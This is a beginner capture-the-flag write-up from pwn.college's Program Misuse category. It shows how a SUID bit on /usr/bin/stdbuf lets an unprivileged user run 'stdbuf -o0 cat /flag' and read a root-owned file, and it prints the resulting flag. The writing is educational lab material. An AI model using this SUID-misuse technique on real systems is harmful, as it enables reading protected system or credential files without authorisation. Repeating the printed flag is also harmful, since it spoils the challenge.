Challenge Name: stdbuf
Writeup from Program Misuse
Category: Program Misuse
Platform: pwn.college
Difficulty: Begineer
Date: 2025-07-15
Author: Himanshu Parate
π§ Summary:
The challenge abuses a SUID bit set on /usr/bin/stdbuf, allowing an unprivileged user to read the root-owned flag file at /flag.
π Enumeration
ls -l /usr/bin/stdbuf
output:
-rwsr-xr-x 1 root root 47480 Sep 5 2019 /usr/bin/stdbuf
-The s in -rws indicates itβs a SUID binary.
-stdbuf runs with root privileges.
π Exploitation
The stdbuf command in Linux is used to control buffering behavior of standard input (stdin), output (stdout), and error (stderr) for another command.
stdbuf -o0 cat /flag
Output:
pwn.college{0yrk_SqiqllhJjs5dX0aI_peczm.dJTNxwSM0IzMyEzW}